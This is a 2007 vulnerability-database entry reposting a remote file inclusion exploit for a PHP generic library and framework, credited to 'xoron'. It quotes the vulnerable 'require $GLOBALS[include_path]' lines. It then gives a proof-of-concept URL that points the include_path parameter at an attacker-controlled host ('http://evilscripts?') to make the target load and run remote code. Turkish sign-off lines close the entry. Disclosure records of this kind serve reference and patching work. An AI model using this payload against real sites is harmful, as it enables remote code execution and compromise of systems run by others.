Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15899
HistoryJan 29, 2007 - 12:00 a.m.

PhP Generic library & framework (include_path) Remote File Include Exploit

2007-01-2900:00:00
vulners.com
23

PhP Generic library & framework (include_path) Remote File Include Exploit


Author: xoron

xoron.biz


Code:

require $GLOBALS[include_path]."configmember.php";
require $GLOBALS[include_path]."inc-membreManager.php";


POC:

www.[target].com/[script_pat]/membres/membreManager.php?include_path=http://evilscripts?


download: http://sourceforge.net/project/showfiles.php?group_id=72529


xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir �o�uk xoron.